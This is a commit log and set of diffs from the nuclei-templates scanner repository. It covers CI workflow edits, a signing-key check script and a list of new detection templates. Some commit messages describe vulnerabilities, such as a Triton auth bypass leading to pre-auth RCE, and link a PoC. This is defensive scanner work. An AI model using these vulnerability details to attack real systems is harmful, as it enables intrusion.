ghost 7a95972e05 chore: generate new addition list 🤖 2026-07-13 18:33:24 +00:00
ghost db3419f743 chore: generate new addition list 🤖 2026-07-13 18:33:04 +00:00
ghost 9a5d015e7e chore: generate CVEs metadata 🤖 2026-07-13 18:32:49 +00:00
ghost 0ff36c86ea chore: sign templates 🤖 2026-07-13 18:32:44 +00:00
Ritik Chaddha 40083f2f11 Merge pull request #16483 from VixianSchool/feat/cve-2026-3326
feat: add CVE-2026-3326 - XStore Theme < 9.7.3 Unauthenticated SQL Injection
2026-07-14 00:02:21 +05:30
Ritik Chaddha 069e2ce7b7 Merge pull request #16478 from VixianSchool/feat/CVE-2026-24207-triton-sagemaker-auth-bypass
feat: add CVE-2026-24207 - NVIDIA Triton Inference Server SageMaker Auth Bypass / RCE
2026-07-14 00:02:00 +05:30
ghost 4ca2917b0a chore: generate templates checksum 🤖 2026-07-13 18:29:54 +00:00
Ritik Chaddha 7fe7baebb6 Merge branch 'main' into fix-false-positive-nextjs 2026-07-13 23:59:27 +05:30
ghost 084f877bb3 chore: sign templates 🤖 2026-07-13 18:29:01 +00:00
Ritik Chaddha a28aa7e673 Merge pull request #16506 from gnuletik/fix/CVE-2025-29635/invalid-matcher-type
fix(CVE-2025-29635): invalid matcher type
2026-07-13 23:58:41 +05:30
ghost af52428148 chore: sign templates 🤖 2026-07-13 18:27:11 +00:00
Ritik Chaddha 4abc81da73 Merge pull request #16495 from projectdiscovery/added-new-path
Add additional paths to Keycloak admin panel config
2026-07-13 23:56:51 +05:30
Ritik Chaddha 593ba0ec00 Update CVE-2026-3326.yaml 2026-07-13 23:55:31 +05:30
Ritik Chaddha 6daf54039a Update CVE-2026-24207.yaml 2026-07-13 23:54:46 +05:30
ghost e5acc62a50 chore: generate templates checksum 🤖 2026-07-13 16:49:19 +00:00
ghost 90665fcc6e chore: generate new addition list 🤖 2026-07-13 16:48:47 +00:00
ghost 155950626f chore: sign templates 🤖 2026-07-13 16:48:01 +00:00
pussycat0x b47c8edf5a Merge pull request #16300 from Th3l0newolf/SeaweedFS
Add Unauthenticated access to SeaweedFS Filer panel
2026-07-13 22:17:40 +05:30
ghost 0e79c763f7 chore: generate CVEs metadata 🤖 2026-07-13 16:47:00 +00:00
ghost 6db0290f68 chore: sign templates 🤖 2026-07-13 16:46:56 +00:00
pussycat0x ed1501990c Merge pull request #16550 from daffainfo/patch-369864
Modify CVE-2026-50751.yaml with new reference link
2026-07-13 22:16:37 +05:30
ghost b7cb0bbc1b chore: sign templates 🤖 2026-07-13 16:46:30 +00:00
pussycat0x 17a318a80a Merge pull request #16546 from daffainfo/patch-813224
Rename fuji-xerox-internet-service.yaml file
2026-07-13 22:16:05 +05:30
ghost e64485a228 chore: generate templates checksum 🤖 2026-07-13 16:31:41 +00:00
ghost 5ea6bf1c47 chore: generate new addition list 🤖 2026-07-13 16:29:44 +00:00
ghost 5e51a42ccf chore: sign templates 🤖 2026-07-13 16:29:02 +00:00
pussycat0x a6f503cb49 Merge pull request #16359 from Th3l0newolf/Kestra
Add Kestra Login Panel detection
2026-07-13 21:58:37 +05:30
pussycat0x 13d847deba Update CVE-2026-50751.yaml 2026-07-13 21:56:40 +05:30
pussycat0x 9674361ccd Update fuji-xerox-internet-service.yaml 2026-07-13 21:56:11 +05:30
pussycat0x 8c23e98760 Update CVE-2026-55450.yaml 2026-07-13 20:06:26 +05:30
ghost bd13fa15ec chore: generate templates checksum 🤖 2026-07-13 11:35:16 +00:00
ghost 764d2a6378 chore: sign templates 🤖 2026-07-13 11:32:30 +00:00
Dhiyaneshwaran 900b037f8d Merge pull request #16559 from daffainfo/patch-995417
Update name format in echo-detect.yaml
2026-07-13 17:02:10 +05:30
Dhiyaneshwaran 8d9e523e68 Rename bitnami-apache-solr-detect.yaml to bitnami-apache-solr.yaml 2026-07-13 16:58:20 +05:30
Dhiyaneshwaran 4ec5fc92e9 Update Bitnami Apache Solr detection configuration 2026-07-13 16:52:21 +05:30
Dhiyaneshwaran a5777912c2 Update and rename kestra-login-panel.yaml to kestra-panel.yaml 2026-07-13 16:49:22 +05:30
Dhiyaneshwaran cc5aec3069 Rename seaweedfs-filer-panel.yaml to seaweedfs-unauth.yaml 2026-07-13 16:46:30 +05:30
Dhiyaneshwaran db9d7e789a Modify SeaweedFS Filer panel configuration
Updated the SeaweedFS Filer configuration to reflect unauthenticated access and adjusted severity level.
2026-07-13 16:46:01 +05:30
pepe 4df6157a66 Update CVE-2026-55450.yaml 2026-07-13 13:24:03 +03:00
pepe 6c33e3b5e8 Remove 'attack' field from CVE-2026-55450.yaml
Removed the 'attack' field from the CVE YAML file.
2026-07-13 13:04:32 +03:00
pepe 996a5c5b2b Add CVE-2026-55450 vulnerability details
CVE-2026-55450 details the critical unauthenticated file upload vulnerability in Langflow versions prior to 1.9.1, including impact, remediation, and attack vectors.
2026-07-13 13:02:48 +03:00
Muhammad Daffa ace83057d6 Rename unauth-cluster-trino to trino-unauth-cluster 2026-07-13 16:25:50 +07:00
Aman Rawat 2ffa671827 Update echo-detect.yaml 2026-07-13 13:00:29 +05:30
Muhammad Daffa 41a9137f95 Update name format in echo-detect.yaml 2026-07-13 13:41:01 +07:00
ghost 7add7e2dc1 chore: generate templates checksum 🤖 2026-07-13 05:37:31 +00:00
ghost e60eb6c9c1 chore: sign templates 🤖 2026-07-13 05:35:03 +00:00
Aman Rawat 83a65ee1d8 Merge pull request #16548 from daffainfo/patch-747333
Move http/CVE-2016-9299.yaml to code/CVE-2016-9299.yaml
2026-07-13 11:04:43 +05:30
ghost 0bf8b37adb chore: sign templates 🤖 2026-07-13 05:34:33 +00:00
Aman Rawat f21854f8fc Merge pull request #16498 from daffainfo/patch-54844
Update and rename zm-system-log-detect.yaml to zoneminder-system-log.…
2026-07-13 11:04:14 +05:30
Dhiyaneshwaran b8dd29c0af Remove commented digest line from CVE-2016-9299.yaml 2026-07-13 10:19:57 +05:30
ghost 65ad359c8d chore: generate templates checksum 🤖 2026-07-13 04:49:57 +00:00
DhiyaneshwaranandCursor ed1e6a985f Merge branch 'main' into patch-747333
Resolve digest/EPSS conflict in CVE-2016-9299 while keeping the code/ path move.

Co-authored-by: Cursor <[email protected]>
2026-07-13 10:18:45 +05:30
ghost 82a1bba02b chore: generate new addition list 🤖 2026-07-13 04:48:13 +00:00
ghost b8874e1c26 chore: generate CVEs metadata 🤖 2026-07-13 04:47:31 +00:00
ghost 729ae1c7be chore: sign templates 🤖 2026-07-13 04:47:22 +00:00
Dhiyaneshwaran 0f6f89cf40 Merge pull request #16558 from projectdiscovery/Akokonunes-patch-7
Add CVE-2026-52774.yaml - YesWiki Bazar Widget XSS
2026-07-13 10:17:04 +05:30
ghost 988cfd7534 chore: sign templates 🤖 2026-07-13 04:44:31 +00:00
Dhiyaneshwaran 45051badae Merge pull request #16549 from daffainfo/patch-468676
Move joomla-com-fabrik-lfi.yaml to new directory
2026-07-13 10:14:11 +05:30
ghost b7adbff89a chore: generate templates checksum 🤖 2026-07-13 04:41:20 +00:00
ghost 0cbfb6b5ce chore: sign templates 🤖 2026-07-13 04:38:23 +00:00
Roberto Nunes 96ee22e112 Merge pull request #16547 from daffainfo/patch-176635
Update and rename nuuno-network-login.yaml to nuuo-network-login.yaml
2026-07-13 13:37:57 +09:00
Roberto Nunes 5a1408ac58 Merge pull request #16530 from daffainfo/patch-503644
Delete duplicate exposed-panels tomcat templates
2026-07-13 13:37:52 +09:00
Dhiyaneshwaran e2d8b6562e Merge branch 'main' into patch-5 2026-07-13 09:52:51 +05:30
Dhiyaneshwaran 4c32f65344 Revise CVE-2026-50229 details and remediation
Updated the description and remediation for CVE-2026-50229, clarifying the XSS vulnerability and affected versions.
2026-07-13 09:46:26 +05:30
Dhiyaneshwaran 7e847442f9 Update authors and tags in apache-tomcat-exposed.yaml 2026-07-13 09:39:57 +05:30
Roberto Nunes 529edf58c3 Add CVE-2026-52774 for YesWiki Bazar Widget XSS 2026-07-13 12:11:49 +09:00
ghost 300f20d7c3 chore: update EPSS scores 🤖 2026-07-13 03:00:55 +00:00
Roberto Nunes 91d9b9d9ae Merge branch 'main' into patch-369864 2026-07-13 11:37:32 +09:00
pussycat0x 7888f32b16 Update joomla-com-fabrik-lfi.yaml 2026-07-13 07:56:22 +05:30
ghost 6994a9cdb6 chore: update KEV and vKEV tags and metadata 🤖 2026-07-12 04:13:24 +00:00
ghost bb29c3a996 chore: update EPSS scores 🤖 2026-07-12 03:00:37 +00:00
panchiko-p 12d6f73e0e Add template for CVE-2026-56290 unauthenticated file upload detection 2026-07-11 12:36:45 -04:00
Aleff 5c3b2de4f0 Merge branch 'main' into cve-2025-55746-directus-file-modification 2026-07-11 11:15:06 +02:00
Rishi c0fc07dc2e Merge branch 'main' into add-ai-ml-gap-templates 2026-07-11 08:34:24 +01:00
rxerium 14025cd73b Update KNIME panel matcher 2026-07-11 08:31:01 +01:00
rxerium 7205ad4a88 ai/llm panels 2026-07-11 08:26:52 +01:00
ghost a6e28fb218 chore: update KEV and vKEV tags and metadata 🤖 2026-07-11 04:03:51 +00:00
ghost e63e538c2a chore: update EPSS scores 🤖 2026-07-11 02:59:56 +00:00
ghost 23f897d679 chore: generate templates checksum 🤖 2026-07-11 00:25:32 +00:00
ghost 9e9c734714 chore: generate new addition list 🤖 2026-07-11 00:23:38 +00:00
ghost 51bab5ca73 chore: sign templates 🤖 2026-07-11 00:22:50 +00:00
Dhiyaneshwaran c4d5aa37df Merge pull request #16543 from rxerium/add-maxkb-panel
Add MaxKB panel detection template
2026-07-11 05:52:29 +05:30
ghost 17315de39e chore: update KEV and vKEV tags and metadata 🤖 2026-07-10 04:23:22 +00:00
ghost 30d0f68cea chore: update EPSS scores 🤖 2026-07-10 03:01:38 +00:00
zy9ard3 c0188ccd0d wix takeover fingerprint update 2026-07-10 08:23:07 +05:30
Muhammad Daffa 0293f53502 Modify CVE-2026-50751.yaml with new reference link
Updated reference URL for CVE-2026-50751 and added details on the remediation.
2026-07-09 20:55:52 +07:00
Muhammad Daffa 730d9d2fb3 Move joomla-com-fabrik-lfi.yaml to new directory 2026-07-08 22:32:26 +07:00
Muhammad Daffa aec6b1acd2 Move http/CVE-2016-9299.yaml to code/CVE-2016-9299.yaml 2026-07-08 22:24:53 +07:00
Muhammad Daffa ced7aade28 Update and rename nuuno-network-login.yaml to nuuo-network-login.yaml 2026-07-08 20:33:41 +07:00
Muhammad Daffa ce55a78f61 Add fuji-xerox-internet-service.yaml file 2026-07-08 20:31:25 +07:00
Aman Rawat 2998912f34 Update minio-default-login.yaml 2026-07-08 11:07:58 +05:30
mrperfectkarak-svg 8bbf3819f6 Update regex for company field in CVE-2026-1731
https://github.com/projectdiscovery/nuclei-templates/issues/16544
2026-07-07 16:53:38 +03:00
Rishi e2c6b14fad Merge branch 'main' into add-maxkb-panel 2026-07-07 11:48:07 +01:00
rxerium 7a8756f373 Remove unrelated CVE templates from MaxKB PR 2026-07-07 11:39:24 +01:00
rxerium b995194325 Add MaxKB panel detection template 2026-07-07 11:35:24 +01:00
Yashar Shahinzadeh ae2a36eee6 Add CVE-2026-50229 Apache Tomcat Number Guess XSS template 2026-07-07 11:21:21 +02:00
Pastaga 2c9223d34b Update MinIO default login configuration
Updated max-request limit and modified shodan-query. Added payloads for login requests and adjusted matchers for response validation.
2026-07-06 21:14:18 +02:00
Eloy a753e2da30 Add selectors to dkim-record-detect.yaml
Based on list from https://github.com/ryancdotorg/dkimscan/blob/master/dkimscan.pl#L310
2026-07-03 11:01:26 +02:00
Th3l0newolf [ Chinmay Divekar] 4f50a540f9 Update description from 'discovered' to 'detected' 2026-07-02 23:59:52 -07:00
Th3l0newolf [ Chinmay Divekar] d330e88601 Add Bitnami Apache Solr Stack technology detection
Added detection for Bitnami Apache Solr Stack welcome page.
2026-07-02 23:54:46 -07:00
Muhammad Daffa 34c3d0dd63 Update and rename tomcat-exposed.yaml to apache-tomcat-exposed.yaml 2026-07-02 17:23:44 +07:00
Muhammad Daffa 06fbf21f28 Delete http/exposed-panels/apache/public-tomcat-manager.yaml 2026-07-02 17:21:29 +07:00
pussycat0x 8ab46c8833 Update CVE-2026-24207.yaml 2026-07-01 23:46:43 +05:30
Dhiyaneshwaran 5f0b13d791 Update CVE-2026-3326.yaml 2026-07-01 12:15:43 +05:30
Andrew Smith fdfe53f269 Merge branch 'projectdiscovery:main' into twitter_fp 2026-06-30 09:37:16 -04:00
Andrew Smith 3022d91fb6 Update twitter-phish.yaml
bugfix and additional checks for more robust matching
2026-06-30 09:36:25 -04:00
HD Moore f93f231ffd Merge branch 'main' into ai-llm-detect-templates 2026-06-29 21:00:00 -05:00
gnuletik 33a2218909 fix(CVE-2025-29635): invalid matcher type 2026-06-29 22:29:10 +02:00
Dhiyaneshwaran ab3283e629 Refactor CVE-2024-34351.yaml for improved checks 2026-06-29 16:28:01 +05:30
Dhiyaneshwaran 547ec7159e Update CVE-2024-34351.yaml with new configurations
Updated max-request limit and added new tags. Modified HTTP request matchers and extractors for improved functionality.
2026-06-29 15:24:16 +05:30
Muhammad Daffa a6eb755f54 Update and rename zm-system-log-detect.yaml to zoneminder-system-log.yaml 2026-06-29 15:46:24 +07:00
Dhiyaneshwaran 2124daaeb2 Add additional paths to Keycloak admin panel config 2026-06-29 10:24:03 +05:30
VixianSchool 54c8b05803 feat: add CVE-2026-3326 - XStore Theme < 9.7.3 Unauthenticated SQL Injection 2026-06-28 14:24:47 +03:00
VixianSchool 873ce12d85 feat: add CVE-2026-24207 NVIDIA Triton SageMaker auth bypass
NVIDIA Triton Inference Server <= 26.02 does not enforce the
--http-restricted-api configuration on the /models route, allowing
unauthenticated access to the model-management API. Combined with the
Python-backend LOAD primitive, this enables pre-auth RCE.

Detection: confirm Triton via /v2/health/ready (http/1), then probe
/models without auth header (http/2). Vulnerable if 200/404 with no
'This API is restricted' in the response.

PoC: https://github.com/offseckit/CVE-2026-24207
2026-06-28 08:26:21 +03:00
fsoppelsa fbcaaf9be5 Add vLLM OpenAI-compatible API unauthenticated exposure template 2026-06-27 19:59:20 +02:00
김경규 6edc3e2c3e Merge branch 'main' into add-cve-2026-0558-lollms-template 2026-06-26 13:41:46 +09:00
Stas Shilov 139fec016e fix: remove trailing spaces in dameng-detect.yaml 2026-06-26 01:32:15 +03:00
Stas Shilov 4a7fb4f47a fix lint - use String.fromCharCode(0) instead of literal null byte 2026-06-26 01:23:55 +03:00
Stas Shilov e7525b5cea fix lint - zero byte 2026-06-26 01:14:44 +03:00
Stas Shilov 0a73fb00ad fix dameng-detect: use positive signature to avoid false positives 2026-06-26 00:36:59 +03:00
ashvinctrl 5b9d0b1b28 fix(mongodb-unauth): use OP_MSG instead of removed OP_QUERY opcode
MongoDB 6.0+ removed support for the legacy OP_QUERY opcode for commands.
The template's getLog probe therefore returns "Unsupported OP_QUERY
command: getLog. The client driver may require an upgrade." and no longer
matches unauthenticated instances (false negative, #16294).

Switch the probe to OP_MSG (opcode 2013) carrying
{getLog: "startupWarnings", $db: "admin"}. The matcher (totalLinesWritten)
is unchanged.

Verified locally against MongoDB 8.3.4: the template matches an
unauthenticated instance and does not match an instance started with
--auth (no false positive).
2026-06-24 15:12:49 +05:30
HD Moore 63a2afd8d4 Add AI/LLM inference + MCP server detection templates
14 new http/technologies templates for self-hosted AI/LLM infrastructure and the
Model Context Protocol, plus a TorchServe enrichment: ollama, vllm,
openai-compatible-api, lmstudio, sglang, tgi, tei, koboldcpp, jan, open-webui,
librechat, flowise, anythingllm, mcp-server (and torchserve-detect management-API
model enumeration).

All info severity, read-only metadata endpoints only (the MCP template performs
just the JSON-RPC initialize handshake, never tools/call), nuclei -validate clean,
and true/false-positive tested against mock servers. Detection logic is derived
from nmap-ai-recon by Ben Williams (@insidetrust); each template credits that
origin in a leading comment.
2026-06-20 20:05:07 -05:00
Kenneth LaCroix 0b67123507 Add CVE-2026-45695 Kopia server SSH ProxyCommand injection RCE 2026-06-19 09:54:33 -06:00
rxerium 321fd7b9ef Add Splunk Enterprise missing auth CVE-2026-20253 detection template 2026-06-13 17:52:01 +01:00
Ritik Chaddha 22779bc961 Create CVE-2022-39258.yaml 2026-06-11 13:16:06 +05:30
Andrew Smith 445e0a1a20 Update twitter-phish.yaml 2026-06-09 16:45:23 -04:00
Th3l0newolf [ Chinmay Divekar] ba3b32cedb Add Kestra Login Panel detection 2026-06-09 10:15:27 -07:00
Morgan Robertson e3a7cad874 Enrich perforce templates 2026-06-07 18:36:06 +10:00
WRG-11 88c16d3c0f Create CVE-2026-31831.yaml 2026-06-05 03:28:06 +03:00
Th3l0newolf [ Chinmay Divekar] a93dfb9fa1 Add Unauthenticated access to SeaweedFS Filer panel
This configuration file describes the SeaweedFS Filer panel with critical unauthenticated access vulnerabilities.
2026-05-29 02:02:52 -07:00
rxerium fad69d81f1 refactor(CVE-2026-0300): simplify DSL matchers using compare_versions range checks 2026-05-25 14:35:39 +01:00
Rishi 96ca8d55ad Merge branch 'main' into add-cve-2026-0300 2026-05-25 14:33:39 +01:00
KoungQ aedb4b938f add CVE-2026-0558 LoLLMS unauthenticated file upload template
Add a nuclei HTTP template for CVE-2026-0558 affecting parisneo/lollms
up to 2.2.0.

The template sends a low-impact unauthenticated multipart text upload to
/api/files/extract-text and verifies that the server processes the file by
checking for a JSON text_content response containing a random marker.

References include the Huntr report, NVD entry, and upstream patch commit.
2026-05-22 01:14:14 +09:00
chan 79410d332b Add CVE-2026-35037 Ech0 SSRF template 2026-05-20 14:50:17 +09:00
aleff-github 7342fe40f6 Add Directus CVE-2025-55746 template 2026-05-16 18:09:30 +02:00
PachkaKofe04 6ed23ed763 Convert geovision-geowebserver-lfi-xss to CVE-2021-47795 2026-05-13 14:35:28 +05:00
rxerium d025b7745a fix trailing whitespace in CVE-2026-0300 template 2026-05-10 19:28:15 +01:00
Rishi 44d43ab6df Merge branch 'main' into add-cve-2026-0300 2026-05-10 19:11:03 +01:00
pussycat0x 8e4ec216c1 Create CVE-2025-2505.yaml 2026-05-07 16:55:07 +05:30
rxerium 75fab39b51 Add CVE-2026-0300 PAN-OS Captive Portal buffer overflow detection template 2026-05-06 11:22:07 +01:00
ydking0911 4f28d03f6f add CVE-2026-4060 template 2026-05-04 20:53:07 +09:00
Chris (ChrisJr404) 9b2f56bbe0 Add CVE-2024-42323 - Apache HertzBeat SnakeYAML deserialization RCE 2026-05-02 13:47:18 -04:00
Chris (ChrisJr404) 81476ed785 Add CVE-2024-56511 - DataEase whitelist path-traversal authentication bypass 2026-05-02 13:17:37 -04:00
0xP3n ae4081e57f Add CVE-2025-54988: Apache Tika XXE Injection
- Added nuclei template for CVE-2025-54988 (Apache Tika XXE Injection)
- CVSS 9.8 Critical (CWE-611)
- Affects Apache Tika versions 1.13 through 3.2.1
- Detects Apache Tika server and tests PDF parsing endpoint

Ref: https://nvd.nist.gov/vuln/detail/CVE-2025-54988
2026-04-27 17:54:03 +08:00
t0xk - Nik 8909ef2692 Merge branch 'main' into CVE-2022-28108 2026-04-22 09:55:17 +02:00
t0xk - Nik bb8d1948f3 Merge branch 'main' into CVE-2022-28108 2026-04-17 22:21:41 +02:00
hugo-syn 6d1fde1848 feat: add body fuzzing to DAST and add POST/PUT methods 2026-04-17 11:01:03 +02:00
t0xk - Nik b1d402913f Merge branch 'main' into CVE-2022-28108 2026-04-17 10:32:54 +02:00
t0xk - Nik c4cd0d2d4a Merge branch 'main' into CVE-2022-28108 2026-04-15 17:28:43 +02:00
t0xk - Nik d59b696bbb Modify CVE-2022-28108.yaml as request in PR 2026-04-15 17:28:15 +02:00
t0xk - Nik c746a30743 Merge branch 'main' into CVE-2022-28108 2026-04-14 21:33:14 +02:00
t0xk dde458e323 Add CVE-2022-28108 - Selenium Grid unauthenticated RCE via CSRF 2026-04-14 16:11:16 +02:00
pussycat0x 90ad525c9b Update unauth-java-message-broker-detect.yaml 2026-02-13 15:17:41 +05:30
pussycat0x 47496b67a6 Merge branch 'main' into add-tags 2026-02-13 15:12:57 +05:30
Matej Smycka 845215a1ef chore: update vuln and discovery tags 2026-02-02 12:48:50 +01:00
Dhiyaneshwaran 387de06a81 Delete network/cves/2024/CVE-2024-23108.yaml 2025-11-19 04:00:10 +05:30
Jaenact 984ff7752e fix(unix-command-injection): regex enter 2025-08-13 18:03:34 +09:00
Jaenact c99b3d66f4 fix: add request definition, set author, strengthen metadata/matchers 2025-08-13 17:58:50 +09:00
Jaenact d5e2f06a9a add command-injection 2025-08-07 09:55:19 +09:00
Thacien 2a0fa983fd Merge branch 'main' into CVE-2023-34992 2024-07-17 22:33:51 -06:00
resume a1e721457d Added CVE-2023-34992 and CVE-2024-23108 Templates 2024-07-17 21:44:32 -06:00
5525 changed files with 79634 additions and 26938 deletions

No files matched your search

-2
View File
@@ -7,7 +7,6 @@ addAssignees: false
# A list of reviewers to be added to pull requests (GitHub user name)
reviewers:
- ritikchaddha
- pussycat0x
- DhiyaneshGeek
# A number of reviewers added to the pull request
@@ -16,7 +15,6 @@ numberOfReviewers: 1
# A list of assignees, overrides reviewers if set
assignees:
- pussycat0x
- ritikchaddha
- DhiyaneshGeek
+2 -2
View File
@@ -7,8 +7,8 @@ password = sys.argv[3]
repo_owner = "projectdiscovery"
repo_name = "nuclei-templates"
pr_user_list = ["pussycat0x", "DhiyaneshGeek", "ritikchaddha"]
issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "pussycat0x", "princechaddha"]
pr_user_list = ["DhiyaneshGeek", "ritikchaddha"]
issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "princechaddha"]
headers = {'Authorization': f'Bearer {password}',
'Accept': 'application/vnd.github+json',
+101
View File
@@ -0,0 +1,101 @@
#!/usr/bin/env python3
"""Fail if a code or javascript template is signed with a non-ProjectDiscovery key.
Nuclei refuses to run code and javascript templates whose signature does not
verify, and it also refuses to *re-sign* one that already carries a signature:
could not sign 'x.yaml': cause="re-signing code templates are not allowed
for security reasons."
So a template contributed with the author's own signing key can never be picked
up by the signing workflow. It stays permanently unrunnable, and because http
and network templates only warn, the breakage is easy to miss. CVE-2025-71260
sat broken from March 2026 until it was found by hand.
The fix is always the same: drop the `# digest:` line so the signing workflow
can apply the official key on the next push to main. This check catches it at
review time instead.
A template with no digest at all passes — that is the expected state for a new
or freshly stripped template awaiting signing.
"""
import argparse
import pathlib
import re
import subprocess
import sys
PD_KEY = "922c64590222798bb761d5b6d8e72950"
ROOTS = ("code", "javascript")
DIGEST = re.compile(r"^# digest:\s*(?P<sig>[0-9a-f]+):(?P<fp>[0-9a-f]+)\s*$")
def fingerprint(path):
"""Return the signing-key fingerprint of a template, or None when unsigned."""
try:
for line in reversed(path.read_text(encoding="utf-8", errors="replace").splitlines()):
if not line.strip():
continue
m = DIGEST.match(line)
return m.group("fp") if m else None
except OSError as e:
print(f"::warning file={path}::could not read: {e}")
return None
def repo_root(explicit=None):
"""Resolve the repo to scan: an explicit path, else git's toplevel, else cwd."""
if explicit:
return pathlib.Path(explicit).resolve()
try:
out = subprocess.run(["git", "rev-parse", "--show-toplevel"],
capture_output=True, text=True, check=True).stdout.strip()
if out:
return pathlib.Path(out)
except (OSError, subprocess.CalledProcessError):
pass
return pathlib.Path.cwd()
def main():
ap = argparse.ArgumentParser(description=__doc__)
ap.add_argument("--root", help="repo root to scan (default: git toplevel, else cwd)")
args = ap.parse_args()
repo = repo_root(args.root)
if not any((repo / r).is_dir() for r in ROOTS):
print(f"::error::no {' or '.join(ROOTS)} directory under {repo} — wrong root?")
return 1
offenders, checked = [], 0
for root in ROOTS:
for path in sorted((repo / root).rglob("*.yaml")):
checked += 1
fp = fingerprint(path)
if fp is not None and fp != PD_KEY:
rel = path.relative_to(repo)
offenders.append((rel, fp))
print(f"::error file={rel}::signed with {fp}, expected the "
f"ProjectDiscovery key {PD_KEY}. Remove the '# digest:' line "
f"so the signing workflow can re-sign this template.")
if offenders:
print(f"\n{len(offenders)} of {checked} template(s) carry a foreign signing key:\n")
for rel, fp in offenders:
print(f" {rel}\n key: {fp}")
print("\nNuclei will refuse to run these, and the signing workflow cannot "
"repair them while the signature is present. Delete the '# digest:' "
"line from each file:\n")
print(" sed -i '/^# digest:/d' \\\n " +
" \\\n ".join(str(rel) for rel, _ in offenders))
return 1
print(f"OK — all {checked} code/javascript templates are unsigned or signed "
f"with the ProjectDiscovery key.")
return 0
if __name__ == "__main__":
sys.exit(main())
+2 -2
View File
@@ -29,10 +29,10 @@ jobs:
// ======= CONFIG: put your user pools here =======
// Usernames must be GitHub logins and collaborators on this repo.
const ISSUE_ASSIGNEES = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
"ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const REVIEW_POOL = [
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
"ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
// ================================================
+1 -1
View File
@@ -21,7 +21,7 @@ jobs:
fetch-depth: 0
- name: Setup Python
uses: actions/setup-python@v6
uses: actions/setup-python@v7
with:
python-version: '3.11'
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
uses: actions/checkout@v7
- name: Setup Python
uses: actions/setup-python@v6
uses: actions/setup-python@v7
with:
python-version: '3.11'
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
uses: actions/checkout@v7
- name: Setup Python
uses: actions/setup-python@v6
uses: actions/setup-python@v7
with:
python-version: '3.11'
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
steps:
- run: sudo apt-get install tree -y
- uses: actions/checkout@v7
- uses: actions/setup-python@v6
- uses: actions/setup-python@v7
with:
python-version: "3.8"
- run: python .github/scripts/update-readme.py
+10
View File
@@ -6,6 +6,16 @@ on:
- main
paths:
- '**.yaml'
# The EPSS and KEV jobs rewrite template YAML after signing, which invalidates
# every signature they touch. Their commits use GITHUB_TOKEN, so they cannot
# fire the push trigger above. workflow_run fires regardless of the actor, so
# signatures are restored as soon as those jobs finish.
workflow_run:
workflows:
- "📊 EPSS Score Update"
- "📋 KEV & vKEV Tag Update"
types:
- completed
workflow_dispatch:
jobs:
+15
View File
@@ -30,6 +30,21 @@ jobs:
- name: Validate templates
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
signing-key-check:
name: Signing Key Check
needs: lint
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
python-version: '3.11'
# A code/javascript template signed with a contributor's own key can never
# be re-signed by the signing workflow, so it stays permanently unrunnable.
- name: Check templates carry the ProjectDiscovery signing key
run: python .github/scripts/check-signing-key.py
weak-matcher-checks:
needs: lint
runs-on: ubuntu-latest
@@ -13,7 +13,7 @@ jobs:
uses: actions/checkout@v7
- name: Install Python3
uses: actions/setup-python@v6
uses: actions/setup-python@v7
with:
python-version: "3.10"
+87 -62
View File
@@ -1,62 +1,87 @@
dns/dns-internal-ip-disclosure.yaml
http/cves/2026/CVE-2026-10823.yaml
http/cves/2026/CVE-2026-13731.yaml
http/cves/2026/CVE-2026-1890.yaml
http/cves/2026/CVE-2026-22778.yaml
http/cves/2026/CVE-2026-28496.yaml
http/cves/2026/CVE-2026-30958.yaml
http/cves/2026/CVE-2026-34413.yaml
http/cves/2026/CVE-2026-48282.yaml
http/cves/2026/CVE-2026-48313.yaml
http/cves/2026/CVE-2026-48611.yaml
http/cves/2026/CVE-2026-52815.yaml
http/cves/2026/CVE-2026-56782.yaml
http/cves/2026/CVE-2026-8037.yaml
http/cves/2026/CVE-2026-8383.yaml
http/cves/2026/cve-2026-44381.yaml
http/default-logins/dahua/dahua-icc-default-login.yaml
http/exposed-panels/array-networks-ssl-vpn-panel.yaml
http/exposed-panels/aruba-via-vpn-panel.yaml
http/exposed-panels/cradlepoint-gateway-panel.yaml
http/exposed-panels/ctrlpanel-panel.yaml
http/exposed-panels/cyberoam-firewall-panel.yaml
http/exposed-panels/ddwrt-panel.yaml
http/exposed-panels/ecessa-panel.yaml
http/exposed-panels/elfiq-panel.yaml
http/exposed-panels/endian-firewall-panel.yaml
http/exposed-panels/featherpanel-panel.yaml
http/exposed-panels/firemon-asset-manager-panel.yaml
http/exposed-panels/fortinet-fortianalyzer-panel.yaml
http/exposed-panels/headscale-panel.yaml
http/exposed-panels/hillstone-ssl-vpn-panel.yaml
http/exposed-panels/jotty-page-login-panel.yaml
http/exposed-panels/netgate-pfsenseplus-panel.yaml
http/exposed-panels/netsweeper-webadmin-panel.yaml
http/exposed-panels/nuage-networks-vsp-panel.yaml
http/exposed-panels/ocserv-panel.yaml
http/exposed-panels/peplink-incontrol-panel.yaml
http/exposed-panels/sangfor-iam-panel.yaml
http/exposed-panels/sangfor-ngaf-panel.yaml
http/exposed-panels/silver-peak-edgeconnect-panel.yaml
http/exposed-panels/sma-opcon-panel.yaml
http/exposed-panels/smoothwall-firewall-panel.yaml
http/exposed-panels/sonicwall-analytics-panel.yaml
http/exposed-panels/sophos-utm-panel.yaml
http/exposed-panels/stormshield-network-security-panel.yaml
http/exposed-panels/thegreenbowvpn-panel.yaml
http/exposed-panels/trend-micro-deep-security-panel.yaml
http/exposed-panels/ubiquiti-edgerouter-panel.yaml
http/exposed-panels/unifi-securitygateway-panel.yaml
http/exposed-panels/wg-easy-panel.yaml
http/exposed-panels/zywall-usg-panel.yaml
http/iot/openremote-detect.yaml
http/misconfiguration/installer/ctrlpanel-installer.yaml
http/misconfiguration/marimo-auth-bypass.yaml
http/takeovers/godaddy-parked-domain.yaml
http/technologies/google-iap-detect.yaml
